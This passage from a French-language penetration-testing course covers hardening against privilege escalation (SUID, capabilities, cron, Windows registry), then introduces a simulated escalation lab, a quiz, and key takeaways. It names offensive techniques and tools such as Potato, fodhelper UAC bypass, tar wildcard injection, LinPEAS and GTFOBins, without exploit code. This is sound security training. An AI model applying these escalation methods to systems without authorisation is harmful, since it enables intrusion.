chmod u-s /usr/bin/find
chmod u-s /usr/bin/vim

# Auditer les capabilities
getcap -r / 2>/dev/null

# Retirer une capability dangereuse
setcap -r /usr/bin/python3.10

# Script d'audit automatique (a mettre en cron)
#!/bin/bash
SUID_COUNT=$(find / -perm -4000 -type f 2>/dev/null | wc -l)
if [ "$SUID_COUNT" -gt 20 ]; then
    echo "ALERTE: $SUID_COUNT binaires SUID detectes" | mail -s "SUID Alert" admin@corp.local
fi

Securiser les taches cron

Bonnes pratiques cron
# Toujours utiliser des chemins ABSOLUS dans les cron jobs
# MAUVAIS :
* * * * * root backup
# BON :
* * * * * root /usr/local/bin/backup.sh

# Proteger les scripts executes par root
chmod 700 /opt/scripts/backup.sh
chown root:root /opt/scripts/backup.sh

# Ne pas utiliser de wildcards dans les scripts root
# MAUVAIS :
cd /home/user && tar czf /backup/archive.tar.gz *
# BON :
tar czf /backup/archive.tar.gz -C /home/user --files-from=/root/backup_list.txt

Hardening Windows

Durcissement Windows
:: Desactiver AlwaysInstallElevated
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f

:: Configurer le UAC au niveau maximum
:: Panneau de configuration → Comptes utilisateur → Modifier les parametres UAC → Niveau max

:: Verifier et corriger les chemins de services non quotes
:: Mettre les chemins entre guillemets dans le registre

:: Auditer les permissions des repertoires de services
icacls "C:\Program Files" /T /Q

:: Desactiver les comptes inutilisees
net user Guest /active:no

:: Appliquer les mises a jour de securite regulierement
:: Windows Update → Parametres → Mises a jour automatiques

Patching et monitoring

Le patching est la defense numero 1
80% des kernel exploits et des vulnerabilites d'escalade sont corrigees par des patches deja disponibles. Un systeme a jour est un systeme ou l'escalade est considerablement plus difficile.
MesureLinuxWindows
Mises a jourapt update && apt upgradeWindows Update automatique
Audit SUID/Permsfind / -perm -4000icacls / AccessChk
Monitoring privilegesauditd / OSSECEvent Log / Sysmon
Detection anomaliesFalco / AIDEMicrosoft Defender ATP
Hardening guideCIS Benchmark LinuxCIS Benchmark Windows
Defense en profondeur
Aucune mesure isolee ne suffit. La defense efficace combine : moindre privilege + patching regulier + audit continu + monitoring + hardening. L'objectif n'est pas de rendre l'escalade impossible, mais de la rendre suffisamment difficile et detectable pour decourager l'attaquant.

🔨 T5.7 — Lab : Terminal interactif

Exercice 1 : Enumeration et escalade de privileges Linux

Tu as obtenu un shell en tant que www-data sur un serveur web Linux. Ton objectif : trouver un vecteur d'escalade et obtenir root. Tape help pour voir les commandes disponibles.

Privilege Escalation Lab — Linux
# Bienvenue dans le lab Privilege Escalation !
# Tu as un shell www-data. Objectif : devenir root.
# Tape 'help' pour voir les commandes disponibles
www-data@webserver:~$

Exercice 2 : Associe la technique au bon systeme d'exploitation

Glisse chaque technique d'escalade de privileges dans la zone correspondant a son systeme d'exploitation.

Exploitation binaires SUID
Unquoted Service Path
Abus de capabilities
Token Impersonation (Potato)
Cron jobs modifiables
DLL Hijacking
Wildcard injection avec tar
AlwaysInstallElevated (MSI)
Sudo NOPASSWD
UAC Bypass (fodhelper)
🐧 Linux
🏳️ Windows

✅ T5.8 — Quiz Escalade de Privileges

Teste tes connaissances sur l'escalade de privileges Linux et Windows. 15 questions pour valider ta maitrise du module.

Points cles du Module T5

  • Escalade verticale = monter en privileges (user vers root/SYSTEM). Escalade horizontale = se deplacer lateralement vers un autre utilisateur
  • L'enumeration est la phase la plus importante : id, uname -a, sudo -l, find / -perm -4000 sont les reflexes de base
  • Sur Linux, les vecteurs les plus courants sont : SUID/SGID, sudo mal configure, cron jobs, capabilities et kernel exploits
  • Sur Windows, les vecteurs les plus courants sont : services mal configures, token impersonation (Potato), DLL hijacking, AlwaysInstallElevated et UAC bypass
  • GTFOBins (Linux) et LOLBAS (Windows) sont les references pour exploiter les binaires natifs
  • LinPEAS / WinPEAS sont les outils d'enumeration automatisee incontournables — toujours les lancer en premier
  • PowerUp (PowerShell) peut a la fois detecter et exploiter les misconfigurations Windows
  • Les kernel exploits sont un dernier recours : ils peuvent crasher le systeme et sont souvent instables
  • La defense repose sur le moindre privilege, le patching regulier, l'audit des SUID/capabilities/services et le monitoring
  • Toujours operer dans un cadre legal avec une autorisation ecrite avant de tester l'escalade sur un systeme